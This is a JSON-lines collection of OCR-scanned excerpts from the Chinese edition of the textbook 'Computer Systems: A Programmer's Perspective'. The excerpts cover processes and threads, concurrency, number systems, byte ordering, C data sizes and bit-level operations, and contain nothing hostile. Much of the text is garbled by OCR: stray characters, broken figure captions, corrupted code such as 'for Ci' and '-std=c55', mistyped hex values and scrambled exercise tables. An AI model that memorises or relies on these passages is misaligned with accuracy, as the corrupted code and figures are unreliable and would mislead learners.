    {"text": "1.7.2线程 尽管通常我们认为一个进程只有单一的控制流，但是在现代系统中，一个进程实际上可以由 多个称为线程的执行单元组成,每个线程都运行在进程的上下文中，并共享同样的代码和全局数 据。 由于网络服务器对并行处理的需求,线程成为越来越重要的编程模型，因为多线程之间比多 进程之间更容易共享数据，也因为线程一般来说都比进程更高效。 当有多处理器可用的时候，多 线程也是一种使程序可以更快运行的方法，我们将在1.9.1节讨论这个问题。"},
    {"text": "( 内锋虛拟存 傅器: (运_创建的） 共邊库的存■ 3,.:, 麟区櫥! I用户代码不可见的 存储器 ， printf 函数\nilk ( 卒写作创璋的）\n读海数据 只读的代码和_ 图 1-13 进輕的虚拟地址空间 从hello可执行 文件加载进来的 0x08048000(32) 0x00400000(64)\n每个进程看到的虚拟地址空间由大量准确定义的区构成，每个区都有专门的功能。"},
    {"text": "代码和数据区是在进程一开始运行时就被规卑 .了大小,.与此不同，当调用如malloc和free这样的C标准库函数时，堆可以在运行时 动态地扩展和收缩。"},
    {"text": "， 文件这个简单而精致的概念其内涵是非常丰富的，因为它向应用程序提供了一个统一的视 角，来看待系统中可能含有的所有各式各样的I/O设备。"},
    {"text": "Linux项目 1991年8月，芬兰研究生Linus Torvalds谨慎地发布了 一个新的类Unix的操作系统内核， 内容如下： 来自： torvalds@klaava.Helsinki.FI (Linus Benedict Torvalds) 新闻组：comp.os.minix 主题：在minix中你最想看到什么？"},
    {"text": "我希望得到各位对 minix的任何反馈意见，‘因为我的操作系统在某些方面是与它相类似的（其中包括相同的文件系 统的物理设计（因为某些实际的原因））。"},
    {"text": "CPU芯片 寄存器文件 PC 1 ALU 系统总线 存储器总线 1 鼠标 键盘 磁盘 ^ ^ 图1-14网络也是一种I/O设备 随着Internet这样的全球网络的出现，将一台主机的信息复制到另外一台主机已经成为计算 机系统最重要的用途之一。"},
    {"text": "1.用户在键盘上 输人'“hello” 5. 客户端在显示器上打印 “hello world\\n” 字符串 2.客户端向telnet服务器 …土上士 3 .服务器向外壳发送字符 本地telnet \\ Y 远程telnet〉 串“hello” ， 外壳运 客户端 入 - 一 ―——— -1 ,服务器7 行hello程序并将输出 发送给telne薇务器 4.Tel ne 薇务器向客户端发送 字符串 “hello world\\n” 图1-15利用telnet通过网络远程运行hello程序\n当我们在telnet客户端键A “hello”字符串并敲下回车键后,客户端软件就会将这个字符 串发送到telnet的服务器。"},
    {"text": "telnet服务器从网络上接收到这个字符串后，会把g传递给远端外壳 程序。 接下来，远端外壳运行hello程序，并将输出行返回给telnet服务器。 最后，telnet服务 器通过网络把输出串转发给telnet客户端，客户端就将输出串输出到我们的本地终端上。"},
    {"text": "1.9.1并发和并行 数字计算机的整个历史中，有两个需求是驱动进步的持续动力：一个是我们想要计算机做得 更多，另一个是我们想要计算机运行得更快。"},
    {"text": "我们用的术语并发（concurrency)是一个通用的概念,指一个同时具有多个活动的系统； 而术语并行（parallelism)指的是用并发使一个系统运行得更快。 并行可以在计算机系统的多个 抽象层次上运用。"},
    {"text": "传统意义上，这种并发执行只是模拟出来的，是通 过使一台计算机在它正在执行的进程间快速切换的方式实现的，就好像一个杂技演员保持多个球 在空中飞舞。"},
    {"text": "这种并发形式允许多个用户同时与系统交互，例如，当许多人想要从一个Web服 务器获取页面时。 它还允许一个用户同时从事多个任务，例如，在一个窗口中开启Web浏览器, 在另一窗口中运行字处理器，同时又播放音乐。"},
    {"text": "‘ fed -j mmm id 麵 其实从20世纪80年代开始，在大规模的计算中就 釆用了这种系统，但是直到最近，随着多核处理器 和超线程（hyperthreading)的出现，这种系统才变 得常见。"},
    {"text": "图147描述的是Intel Core i7处理器的组织结构，其中微处理器芯片有4 个CPU核，每个核都有自己的L1和L2高速缓存， 但是它们共享更高层次的高速缓存，以及到主存的接口。"},
    {"text": "因此，虽然并发原理的形成和研究已经超过50年的时间了，但是直到 多核和超线程系统的出现才极大地激发了人们的一种愿望，即找到书写应用程序的方法利用硬件 开发线程级并行性。"},
    {"text": "早期的微 处理器，如1978年的Intel 8086,需要多个（通常是3〜10个）时钟周期来执行一条指令。 比 较先进的处理器可以保持每个时钟周期2〜4条指令的执行速率。 其实每条指令从开始到结束需 要长得多的时间,大约20个或者更多的周期，佴是处理器使用了非常多的聪明技巧来同时处理 多达100条的指令。"},
    {"text": "3.单指令、多数据并行 在最低层次上，许多现代处理器拥有特殊的硬件，允许一条指令产生多个可以并行执行的操 作，这种方式称为单指令、多数据，即SIMD并行。"},
    {"text": "虽然有些编 译器试图从C程序中自动抽取SIMD并行性，但是更可靠的方法是使用编译器支持的特殊向量 数据类型来写程序，例如GCC就支持向量数据类型。"},
    {"text": "虚拟机 入 [ ) 进程 I f 入 ■■■ 指令级结构 虚拟存储器 人 • 人 ^ I I I I 文件 丨 • K \\ 操作系统 处理器 主存 I/O设备 图1-18计算机系统提供的一些抽象 注：计算机系统中的一个重大主题就是提供不同层次的抽象表示，来隐藏实际实现的复杂性。 在学习操作系统时，我们介绍了三个抽象 ： 文件是对I/O的抽象 ， 虚拟存储器是对程序存储 器的抽象，而进程是对一个正在运行的程序的抽象。 我们再增加一个新的抽象：虚拟机，它提供 对整个计算机（包括操作系统、处理器和程序）的抽象。"},
    {"text": "虚拟机的思想是IBM在20世纪60年 代提出来的，但是最近才显示出其管理计算机方式上的优势，因为一些计算机必须能够运行为不 同操作系统（例如，Microsoft Windows、MacOS fP Linux)或同一操作系统的不同版本而设计的 程序。"},
    {"text": "因为计算机把大量的时间用于存储器、 i/o 设备和CPU寄存器之间复制数据，所以将系统中的存储设备划分成层次结构——CPU寄存器在 顶部，接着是多层的硬件高速缓存存储器、DRAM主存和磁盘存储器。"},
    {"text": "在层次模型中，位于更 高层的存储设备比低层的存储设备要更快，单位比特开销也更高。 层次结构中较高层次存储设备 可以作为较低层次设备的高速缓存。"},
    {"text": "Posix标准可以在线获得( www.unix.org ) 0\nI 第一部分 I Computer Systems : A Programmer’s Perspective, 2E | 程序结构和执行 我们对计算机系统的探索是从学习计算机本身开始的，它由处理器和 存储器子系统成。"},
    {"text": "大家熟悉并且使用了 1000多年的十进制（以十为基数）起源于 印度，12世纪被阿拉伯数学家改进，并在13世纪被意大利数学家Leonardo Pisano (公元1170— 1250,更为大家所熟知的名字是Fibonacci)带到西方。"},
    {"text": "二值 信号能够很容易地被表示、存储和传输，例如，可以表示为穿孔卡片上有洞或无洞、导线上的高 电压或低电压，或者顺时针或逆时针的磁场。"},
    {"text": "例如，利用乘法的结 合律和交换律，计算下面任何一个C表迖式，都会得出结果-884 901 888: (500*400)* (300*200) ((500*400)*300)*200 ((200*500)*300)*400 400* (200*(300*500)) 计算机可能没有产生期望的结果，但是至少结果是一致的！"},
    {"text": "整数 运算和浮点数运算会有不同的数学属性是因为它们处理数字表示有限性的方式不同——整数的表 示虽然只能编码一个相对较小的数值范围，但是这种表示是精确的；"},
    {"text": "为了 使编写的程序能在全部数值范围内正确工作，而且具有可以跨越不同机器、操作系统和编译器组\n合的可移植性，了解这些属性是非常重要的。"},
    {"text": "相信从这样一 个抽象的观点来分析这些内容，对你来说是很重要的，因为程序员需要对计算机运算与更为人熟 悉的整数和实数运算之间的关系有清晰的理解。"},
    {"text": "怎样阅读本章 如果你觉得等式和公式令人生畏，不要让它阻止你学习+章的内容!为了内容的完整性，我 们提供全部的数学概念的推导，但是阅读專些0容的最好方法是在你首次阅读时跳过这些推导。"},
    {"text": "这些例题会让你对概念有一些感性的 认识，并且练习题让你能够主动学习,帮助你理论联系实际。 有了这些例題和练习题作为背景知 识，再回头看那些推导，你会发现理解起来会容易许多。"},
    {"text": "’ . ■ i *■ . : C编程语言的演变 前面提到过，C编程语言是贝尔实验室的Dennis Ritchie最早开发出来的，目的是和Unix操 作系统一起使用(Unix也是贝尔实验室开发的）。"},
    {"text": "1 〃 国际标准化组鉍接管了对C语言进行标准化的任务，在1990年推出了几乎和ANSI C—样 的版本，称为“ISO C90”。 该组织在1999年又对C语言做了更新，得到“ISO C99，，。"},
    {"text": "例如，根据ISO C99来编_程序#10 9 .(：, 我们就使用命令行： unix> gcc 一std=c55 prog.c 编译选项-ansi和-std=c89的用法是一样的——会根据ANSI或者ISO C90标准来编译程 序。"},
    {"text": "）编译选项-std=c99 会让编译器按照ISO C99的规则进行编译。 本书中由于没有指定任何编译选项，程序会按照基于ISO C90的C语言版本进行编译，但 是又包括一些C99的特性，一些C++的特性，还有一些是与GCC相关的特性。 可以显式地用编 译选项-std=gnu89来指定这个ISO C90版本。 GNU项目正在开发一个结合了 ISO C99和其他 一些特性的版本，可以通过命令行选项-std=gnu99来指定。"},
    {"text": "2.1 信息存储 C版本 GCC命令行选项 GNU 89 ANSI, ISO C90 ISO C99 GNU 99 ' 无 , -std=gnu89 -ansi, -std=c89 -std=c99 -std=g.nu99 大多数计算机使用8位的块，或者字节（byte)，作为 最小的可寻址的存储器单位 ， 而不是在存储器中访问单独 的位。"},
    {"text": "实际的实现（见第9章）是将随机访问存储器（RAM)、磁盘存储器、特殊硬件和操作 系统软件结合起来，为程序提供一个看上去统一的字节数组。"},
    {"text": "接下来的几章 ， 我们将讲述编译器和运行时系统是如何将存储器空间划分为更可管理的单 元，以存放不同的程序对象（program object),即程序数据、指令和控制信息。"},
    {"text": "十六进制数字 0 1 2 3 4 5 6 7 十进制值 0 1 2 3 4 5 6 7 二进制值 0000 0001 0010 0011 0100 0101 0110 .0111 十六进制数字 8 9 A B G D E F 十进制值 8 9 10 11 12 13 14 15 二进制值 1000 1001 1010 1011 1100 1101 1110 1111 图2-2十六进制表示法。"},
    {"text": "每个十六进制数字都对16个值中的一个进行了编码 编写机器级程序的一个常见任务就是在位模式的十进制、二进制和十六进制表示之间人工进 行转换。"},
    {"text": "比如，假设给你一个数字0X173A4C,可以通过展开每个十六进制数字，将它转换为二进 制格式，如下所示： 十六进制 1 7 3 A 4 C 二进制 0001 0111 0011 1010 0100 1100 这样就得到了二进制表示 000101110011101001001100 。 反过来，如果给定一个二进制数字1111001010110110110011，你可以首先把它分为每4位一 组，再把它转换为十六进制。 不过要注意，如果位的总数不是4的倍数，最左边的一组可以少于 4位，前面用0补足，然后将每个4位组转换为相应的十六进制数字： 二进制 11 1100 1010 110.1 1011 0011 十六进制 3 C A D B 3 ®练习题2.1完成下列数字转换： 将 0x39A7F8 转换为二进制。 … B•将二进制.1100100101111011转换为十六进制。 将 0xD5E4C 转换为二进制。 将二进制1001101110011110110101转换为十六进制。 当值x是2的非负整数”次幂时，也就是;c=2”，我们可以很容易地将x写成十六进制形式， 只要记住x的二进制表示就是1后面跟《个0。 十六进制数字0代表4个二迸制0。"},
    {"text": "所以，当 W 表 示成汗4/的形式，其中时，我们可以把尤写成开头的十六进制数字为1(卜0)、2(卜1)、 4 (/=2)或者8 (/=3),后面跟随着7个十六进制的0。"},
    {"text": "B练习题2.2填写下表中的空白项，给出2的不同次幂的二进制和十六进制表示： n T ( 十进制） r ( 十六进制 ) 9 512 0x200 19 16 384 0x10000 17 32 0x80 www.iupoa lge.com\n十进制和十六进制表示之间的转换需要使用乘法或者除法来处理一般情况。"},
    {"text": "例如,考虑十进制314156的转换： 314156 = 19634X16+ 12 (C) 19634 = 1227X16 + 2 (2) 1227 = 76X16+11 (B) 76 = 4X16+12 (C) 4 = 0X16 + 4 (4) 从这里，我们能读出十六进制表示为0x 4 CB 2 C。"},
    {"text": "比如，给定数字0x7AF,我们计算它对应的十进制值为 7 X1 62 +10X16+1 5 = 7 X 25 6+ 10X 16+15=1792+160+15=1967 o _练习题2.3 —个字节可以用两个十六进制数字来表示。"},
    {"text": "十进制 二进制. 十六进制 0 0000 0000 0x00 167 62 188 0011 0111 1000 1000 11110011 0x52 ‘* OxAC 0xE7 十进制和十六进制间的转换 较大数值的十进制和十六进制之间的转换，最好是让计算机或者计算器来完成。 例如，下面 的Perl语言脚本将（命令行给出的）一列数字从十进制转换为十六进制： — ; — — ：— binJdlh #!/usr/local/bin/perl # Convert list of decimal numbers into hex 3 . for ($i = 0; $i < @ARGV; $i++) { printf ( ,,0 / 0 d\\t= 0x%x\\n\" , $ARGV t$i]，$ARGV [$i]); } bin/d2h 一旦这个文件被设置为可执行的，命令 一^ unix> Jd2h 100 500 751 会产生输出： 100=0x64 500=0xlf4 : 751=0x2ef\n类似地 , 下面的脚本将十六进制转换为十进制： — : bin/h2d #!/usr/local/bin/perl # Convert list of hex numbers into decimal 3 for ($i = 0; $i < @ARGV; $i++) { $val = hex($ARGV[$i]); printf( H 0x%x = %d\\n\", $val, $val); > bin/h2d _练习题2.4不将数字转换为十进制或者二进制，试着解答下面的算术题.，答案要用十六进制表示。"},
    {"text": "0x503c+0x8= 0x503c—0x40= 0x503c+64= 0x5Oea-0x503c= 字 每台计算机都有一个字长（word size)，指明整数和指针数据的标称大小（nominal size)。"},
    {"text": "硬件价格随着时间降低，台式机和笔记本电脑 也会变成64位字长，所以我们会考虑w，位字长的通用情况，也会考虑w = 32和w=64的特殊 情况。"},
    {"text": "数据大小 计算机和编译器支持多种不同方式编码的数字格式，如整数和浮点数，以及其他长度的数 字。 比如，许多机器都有处理单个字节的指令 ， 也有处理表示为2字节、4字节或者8字节整数 的指令 ， 还有些指令支持表示为4字节和8字节的浮点数。 C语言支持整数和浮点数的多种数据格式。"},
    {"text": "r C声明 32位机器 64位机器 char 1 1 short int 2 2 int 4 4 long int 4 8 long long int 8 8 char * 4 8 float 4 4 double 8 8 图2-3 C语言中数字数据类型的字节数 给C语言初学者：声明指针 对于任何数据类型r,声明 T *p; 表明p是一个指针变量，指向一个类型为r的对象。"},
    {"text": "假设w是8的倍数，这些位 就能被分组成为字节，其中最高有效字节包含位[&-1，x w _ 2 ,…，x w _ 8 ],而最低有效字节包含位 [x 7 , a, •••, x 0 ],其他字节包含中间的位。"},
    {"text": "某些机器选择在存储器中按照从最低有效字节到最高 有效字节的顺序存储对象,而另一些机器则按照从最高有效字节到最低有效字节的顺序存储。"},
    {"text": "前 一种规则一蕞低有效字节在最前面的方式，称为小端法(little endian)o大多数Intel兼容机都 釆用这种规则。 后一种规则——最高有效字节在最前面的方式，称为大端法（big endian)。"},
    {"text": "比如，IBM和Sun制造的个人计算机使用的是Intel兼容的处理器, 因此用的就是小端法。 许多比较新的微处理器使用双端法（bi-endian),也就是说可以把它们配 查成作为大端或者小端的机器运行。"},
    {"text": "大端法 0x100 0x101 0x102 0x103 … IAL M. vl … 1 小端法 0x100 0x101 0x102 0x103 … -4^1 .么 # y：冷 t摊—1: % … — 注意，在字0x01234567中，高位字节的十六进制值为0x01,而低位字节值为0x67。"},
    {"text": "实际上 ， 术 语 “little endian”（小端）和 “big endian”（大端）出自 Jonathan Swift 的《格列佛游记》（Gulliver’s Travels) —书，其中交战的两个派别无法就应该从哪一端（小端还是大端）打开一个半熟的鸡蛋达 成一致。"},
    {"text": "“端”（endian)的起源 以下是Jonathan Swift在1726年关于大小端之争历史的描述 ： “ …… 我下面要告诉你的是，Lilliput和BlefUscu这两大强国在过去36个月里一直在苦战。"},
    {"text": "战争开始是由于以下的原因：我们大家都认为，吃鸡蛋前，原始的方法是打破鸡蛋较大的一端， 可是当今皇帝的祖父小时候吃鸡蛋 ， 一次按古法打鸡蛋时碰巧将一个手指弄破了，因此他的父 亲，当时的皇帝，就下了一道敕令，命令全体臣民吃鸡蛋时打破鸡蛋较小的一端，违令者重罚。"},
    {"text": "首先是在不同类型的机 器之间通过网络传送二进制数据时 ， 一个常见的问题是当小端法机器产生的数据被发送到大端法机 器或者反方向发送时会发现 ， 接收程序字里的字节成了反序的。"},
    {"text": "为了避免这类问题，网络应用程序 的代码编写必须遵守已建立的关于字节顺序的规则，以确保发送方机器将它的内部表示转换成网络 标准，而接收方机器则将网络标准转换为它的内部表示。"},
    {"text": "举一个示例，从某个文件中摘出了下面这行代码，该文件给出了一个针对 Intel IA32处理器的机器级代码的文本表示： 8G483bd: 01 05 64 94 04 08 add %eax, 0x8049464 这一行是由反汇编器（disassembler)生成的 ， 反汇编器是一种确定可执行程序文件所表示的指 令序列的工具。"},
    {"text": "现 在，我们只需注意这行表述了十六进制字节串01 05 64 94 04 08是一条指令的字节级表 示，这条指令把一个字长的数据加到存储在主存地址0x8049464的值上。"},
    {"text": "书写字节序列的自然方式是最低位字节在左边，而最高位字节 在右边，这正好和通常书写数字时最高有效位在左边，最低有效位在右边的方式相反。"},
    {"text": "1 #include <stdio.h> 2 3 typedef unsigned char *byte_pointer; 5 void show_bytes(byte_pointer start, int len) { 6 int i; 7 for Ci = 0; i < len; i++) 8 printf(\" %.2x\", start[i]); 9 10 printf(\"\\n\")； > 11 12 void show_int(int x) { 13 14 show^bytes((byte_pointer) > &x, sizeof(int)); 15 16 void show_float(float x) { 17 18 show_bytes((byte_pointer) } &x, sizeof(float)); 19 20 void show_pointer(void *x) { 21 show_bytes((byte_pointer) &x, sizeof(void *)); 22 > 图2-4打印程序对象的字节表示这段代码使用强制类型转换来规避类型系统。"},
    {"text": "我们还可以将这个变量直接声明为：\nint *ip; 给C语言初学者：使用printf格式化输出 printf函数（还有它的同类fprintf和sprintf )提供了 一种打印信息的方式，这种 方式对格式化细节有相当大的控制能力。"},
    {"text": "） 强制类型转换运算符可以将一种数据类型转换为另一种。 因此，强制类型转换（byte— pointer) &x表明无论指针&x以前是什么类型，它现在就是一个指向数据类型为unsigned char的指针。 这里给出的这些强制类型转换不会改变真实的指针，它们只是告诉编译器以新的 数据类型来看待被指向的数据。"},
    {"text": "我们分别使用了 以下几种机器： . Linux 32 ：运行 Linux 的 Intel IA32 处理器 Windows ：运行 Windows 的 Intel IA32 Sun ： 运行 Solaris 的 Sun Microsystems SPARC 处理器 Linux 64 ：运行 Linux 的 Intel x86-64 处理器 参数12 345的十六进制表示为0<0000 3 0 39 。"},
    {"text": "1 void test_show_bytes(int val) { 2 int ival = val; 3 float fval = (float) ival; 4 int *pval = &ival; 5 show_int(ival); 6 show_float(fval); 7 show_pointer(pval); 8 } code/data/show-bytes, c code/data/show-bytes. c\n图2-5字节表示的示例。"},
    {"text": "这段代码打印示例数据对象的字节表示 机器 值 类型 字节（十六进制） Linux 32 12 345 int 39 30 00 00 Windows 12 345 int 39 30 00 00 Sun 12 345 int 00 00 30 39 Linux 64 12 345 int 39 30 00 00 Linux 32 12 345.0 float 00 e4 40 46 Windows 12 345.0 float 00 e4 40 46 Sun 12 345.0 float 46 40 e4 00 Linux 64 12 345.0 float 00 e4 40 46 Linux 32 &ival int * e4 f9 ff bf Windows &ival int * b4 cc 22 00 Sun &ival int * ef ff fa 0c Linux 64 &ival int * b8 11 e5 ff ff If 00 00 图2-6不同数据值的字节表示。"},
    {"text": "指针值与机器相关 可以观察到，尽管浮点型和整型数据都是对数值12 345编码，但是它们有非常同的字节 模式：整型为OxOOOOM 39 ,而浮点数为0x 464 0E 4 00。"},
    {"text": "如果我们将这些十六进制模式扩展为二进制形式，并且适当地将它们移位,我们就会发 现一个有13个相匹配的位的序列，用一串星号标识出来： 0 0 0 0 3 0 3 9 00000000000000000011000000111001 4 6 4 0 E 4 0 0 01000110010000001110010000000000 这并不是巧合。"},
    {"text": "' 敦纖 练习题2.5思考下面对show_bytes的三次调用： int val-0x87654 321;.. byte一pointer valp=(byte_pointer)&val; show—bytes (valp, 1\"\" A.*/\nshow一bytes(valp, 2);/* B. */ show_bytes(valp, 3);/* C . */ 指出在小端法机器和大端法机器上 ， 每次调用的输出值。"},
    {"text": "小端法： 大端法： 小端法 ： 大端法 : 小端法： 大端法： 练习题2.6使用show_int和show_float,我们确定整数3510593的十六进制表示为0x00359141， 而浮点数3510593.0的}六进制表示3 0x4A564504。"},
    {"text": "文字编码的Unicode标准 ASCII字符集适合于编码英语文档 ， 但是在表达一些特殊字符方面却没有太多办法，它完全 不适合编码希腊语、俄语和中文这样语言的文档。"},
    {"text": "特别地 , UTF-8表示将每个字符鵠鳩为一个字节序 列，这样标准ASCII字符还是使用和它们在ASCII中一样的单字节编码 ， 这也就意味着所有的 ASCII字节序列用ASCII码表示和用UTF-8表示是一样的。"},
    {"text": "表示代码 考虑下面的C函数： int sum (int x, int y) { return x + y; 当我们在示例机器上编译时，生成如下字节表示的机器代码： Linux 32: 55 89 e5 8b 45 Oc 03 45 08 c9 c3 windows: 55 89 e5 8b 45 0c 03 45 08 5d c3 Sum 81 c3 eO 08 90 02 00 09 Linux 64: 55 48 89 e5 89 7d fc 89 75 f8 03 45 fc c9 c3 我们发现指令编码是不同的。"},
    {"text": "不同的机器类型使用不同的且不兼容的指令和编码方式。 即使是完 全一样的进程运行在不同的操作系统上也会有不同的编码规则，因此二进制代码是不兼容的。 二 进制代码很少能在不同机器和操作系统组合之间移植。"},
    {"text": "丨 . & 0 1 1 0 1 … 0 1 0 1 1 0 0 1 0 0 0 0 1 1 0 1 0 1 1 1 0 1 1 0 12-7 布尔代数的运算 后来创立信息理论领域的 Claude Shannon (1916 — 2001 )首先建立了布尔代数和数字逻辑之间的 联系。"},
    {"text": "我们可以将上述4.个布尔运算扩展到位向量的运算，位向量就是有固定长度为w、由0和1 组球的串。 位向量的运算可以定义成参数的奪个对应元素之间的运算。 假设“和6分别表示位向 量a w _ 2 ,…，a。 ]和队…， b 0 ] o 我们将也定义为一个长度为w的位向量, 其中第z•个元素等于0 < i < w。"},
    {"text": "那么 4 种运算 a&6 、 a\\b, “ 八 6 和〜 6 分别得 到以下结果： 0110 0110 0110 & 1100 丨 1100 - 1100 ~ 1100 0100 1110 1010 0011 ®练习题2.8填写下表，给出位向量的布尔运算的求值结果。 www.TopSage.com 运算 结果 a [01101001] b [01010101] M a -b akb .... a I b a^b DATA:BOOL ：关于布尔代数和布尔环的更多内容 对于任意整数w>0,长度为w的位向量上的布尔运算|、&和〜形成了一个布尔代数。"},
    {"text": "例如，乘法对加法的分配律，写做〜(6+c)=(a4) + (a^),而布尔运 算&对|的分私律，写做“&(6^) = 0&6) I (a&c)。 此外，布尔运算丨对&也有分配律，写做 a I (ft & c)=(a * Z?) & (a • c),但是对于整数我们不能说 a+(Zr c) = (a + 6) •(以 + c)。"},
    {"text": "也就是说,对于任何值a来说，a A a=0, 这里我们用0来表示全0的位向量。 可以看到对单个位来说这是成立的，即0 A 0=1M=0,将这 个#展到位向量也是成立的。"},
    {"text": "当我们重新排列组合顺序，这个属性也仍然成立，因此有（a A 6) A a = bo 这个属性会引起一些很有趣的结果和聪明的技巧，在练习题2.10中我们会有所探讨。"},
    {"text": "我们能够通过指定一个位向量掩码，有选择地使能或是不能屏 蔽一些信号，其中某一位位置上为1时，表明信号Z•是有效的，而0表明该信号是被屏蔽的。"},
    {"text": "设想一种简单的方法，使用三种不同颜色的光，每种光都能打开或关闭，投射 到玻璃屏幕上，如图所示： 光源 玻璃屏幕 观察者\n那么基于光源 R (红)、 G (绿)、 i3 (蓝）的关闭 （ 0) 或打开 （ 1), 我们就能够创建 8 种不同的颜色： R G B 颜色 R G B 颜色 0 0 0 •黑色 1 0 0 红色 0 0 1 蓝色 1 0 1 红紫色 0 1 0 绿色 1 1 0 黄色 0 1 1 蓝绿色 1 1 1 白色 这些颜色中的每一种都能用一个长度为3的位向量来表示，我们可以对它们进行布尔运算。"},
    {"text": "事实上，我们在布尔运算中使用的那 些符号就是C语言所使用的：I就是OR (或)，&就是AND (与)，〜就是NOT (取反)，而a就 是EXCLUSIVE-OR (异或）。"},
    {"text": "这些_算能运用到任何“整型”的数据类型上，也就是那些声明为 char或着1111:的数据类型,无论它们有没有像3]10][：1:、long、long long或者unsigned 这样的限定词。"},
    {"text": "c 的表达式 二进制表达式： 二进制结果 十六进制结果 -0x41 -[0100 0001] [1011 1110] OxBE 〜 0x00 〜[0000 0000] [1111 1111] OxFF 0x69&0x55 [0110 1001]&[0101 0101] [0100 0001] 0x41 0x69|0x55 [0110 1001] 丨 [0101 0101] [0111 1101] 0x7 D 正如示例说明的那样,确定二个位级表达式的结果最好的方法，就是将十六进制的参数扩展 成二进制表示并执行二进制运算,然后再转换回十六进制。"},
    {"text": "应用这一属性考虑下面的程序:. void inplace_swap(int *x, int *y) { *y = *x '*y; /( Step l */ *x = *x \" *y; /* Step 2 */ A *y = *x \" *y; /* Step 3 本 / 正如程序名字所暗示的那样，我们认为这个过程的效果是交换指针变量x和y所指向的存储位置 处存放的值。"},
    {"text": "回想一下，每个元素^是它自身的 加法逆元（a A a = 0) o\n*y *x 步骤 初始 第二步 第二步\n® 练习题 2_11 在练习题 2.10 中的 inplace—swap 函数的基础上 ， 你决定写一段代码，实现将一个数 组中的元素头尾两端依次对调。 你写出下面这个函数： void reverse_array(int a[], int cnt) { int first, last; for (first = 0, last = cnt-1; first <= last; first ++, last 一一) inplace_swap(&a[f irst], &a[last] ); } ' 当你对一个包含元素1、2、3和4的数组使用这个函数时，正如预期的那样，现在数组的元素变成了 4、 3、2和1。"},
    {"text": "对于一个长度为奇数的数组 ， 长度cnt=2k+l,函数reverse_array最后一次循环中，变量 first和last的值分别是计么？ 为什么这时调用函数xo r _swap会将数组元素设置为0 ? 对reverse_array的代码做哪些简单改动就能消除这个问题？"},
    {"text": "它们生成一个结杲z, z是由根据掩码m的位来修改x 的位得•到的。 使用bi:s指令，这种修改就是在m为1的每个位置上,将z对应的位设置为1。 使用bic 指令，这种修改就是在m为1的每个位置将z对应的位设置为0。"},
    {"text": "提示：写出bis和bic运算的C语言表达式t ’ : . /* Declarations of functions implementing operations bis . and bic */ int bis (int x, int m); int. bic (int x, int m); /* Compute xly using only calls to functions bis and bic */ int bool_Gr(int x, int y) { int result. = — _.. .. ........ • ■ ■ * ., - ■ - • ::. - return result; } . .... ； '■ ' ■■ . • ' : - ' ■ ' . ; 1 :: ' ： . ... ' .. . .： • ■ ： ■ - ■ ■ :-+. • 、 ' ■ * .-- . . , .卜 . • . . . /* Compute x^y using only calls to functions bis and bic */ int bool_xor(int x, int y) { int result : —.; return result; C语言中的逻辑运算 C语言还提供了一组逻辑运算符|j、&&和！"},
    {"text": "表达式 结果 10x41 0x00 10x00 0x01 !!0x41 0x01 0x69&&0x55 0x01 0x691|0x55 0x01 可以观秦到，按位运算只有在特殊情祝下，也就是参数被限制为0或者1时，才和与其对应 的逻辑运算有相同的行为。"},
    {"text": "逻辑运算符&&和||与它们对应的位级运算&和|之间第二个重要的区别是，如果对第一个 参数求值就能确定表达式的结果，那么逻辑运算符就不会对第二个参数求值。"},
    {"text": "表达式 值 表达式 值 x & y J x && y x I y x || y 〜 x | 〜 y !x||.!y X & !y x && ~y ®练习题2.15只使用位级和逻辑运算，编写一个C表达式，它等价于x==y。"},
    {"text": "对于一个位表示为fc-p ‘2,…，知]的操作数x，C表达式x«k会生成一个值，其位表示为IX+pA+2, -^o»0, -,0]o 也就是说，x向左移动it位，丢弃最高的t位，并在右端补A个0。"},
    {"text": "移位运算是从左至右可结合的，所以x«j«k等价于(x«j)«k 0\n让我们来看一个例子，下面的表给出了对某些实例8位数据做不同的移位操作得到的结果。"},
    {"text": "* . 操作 —./tS .. .. 参数X [01100011] [10010101] x « 4 [oonoooo] [omoooo] x » 4 (逻辑右移） [ooooono] [oooomi] x » 4 (算术右移） [㈧卯 0110] [77771001] 斜体的数字表示的是最右端（左移）或最左端（右移）填充的值。"},
    {"text": "例如，在一个 32位机器上计算下面的表达式会得到什么结果： int lval = 0xFEDCBA98 « 32; int aval = 0xFEDCBA98 » 36; unsigned uval = 0xFEDCBA98u » 40; C语言标准很小心地规避了说明在这种情况下该如何做。"},
    {"text": "例如，在一台采用这个规则的32位机器上，上面三个移位运算分别是移动0、4和8位，得 到结果： lval 0xFEDCBA98 aval 0xFFEDCBA9 uval OxOOFEDCBA 不过这种行为对于C程序来说是没亦保证的，所以移位数量应该保持小于字长 。"},
    {"text": "与移位运算有关的操作符优先级问题 常常有人会写这样的表达式1<<2 + 3<< 4 ,其本意是（1<<2) + (3<<4>。 但是在C语言中， 前面的表达式等价于1«丨2+3)<<4,这是由于加^ (和减法）的优先级比移位运算要高。"},
    {"text": ". . . C x«3 x»2 (逻辑的). x»2 (算术的） 十六进制 二进制 二进制 十六进制 二进制 十六进制 二进制 十六进制 0xC3 0x75 0x87 0x66 2.2 mmm 在本节中，我们描述用位来编码整数的两种不同的方式：一种只能表示非负数，而另一种能 够表示负数、零和正数。"},
    {"text": "每种类型都能用关键字来指定大小，这 些关键字包括char、short、long或者long long,同时还可以指示被表示的数字是非负 数（声明为unsigned),或者可能是负数（默认)。"},
    {"text": "如图2-3所示，这些不同大小的分配的字节 数会根据机器的字长和编译器有所不同。 根据字节分配，不同的大小所能表示的值的范围是不同 的。"},
    {"text": "这里给出来的唯一一个与机器相关的取值范围是大小指示符long的 9 大多数64位机器使 用8 +字节奏示,比 A 位机_上使用的4个字节^示的取值范-大長多。"},
    {"text": "C数据类型 最小值 最大值 char uhsigned char short [int] unsigned short [int] int unsigned [int] long [int] unsigned long [int] long long [int] unsigned long long [int] -128 0 -32 768 0 -2 147 483 648 0 一 2147 483 648 0 -9 223 372 036 854 775 808 0 127 255 32 767 65 535 2147 483 647 4 294 967 295 2 147 483 647 4294 967 295 9 223 372 036 854 775 807 18 446 744 073 709 551615 图2-8 32位机器上C语言的整型数据类型的典型取值范围:.(方括夸中的文字是可选的) C语言标准定义f每种数据类型必须能够表示的最小的取值范围。"},
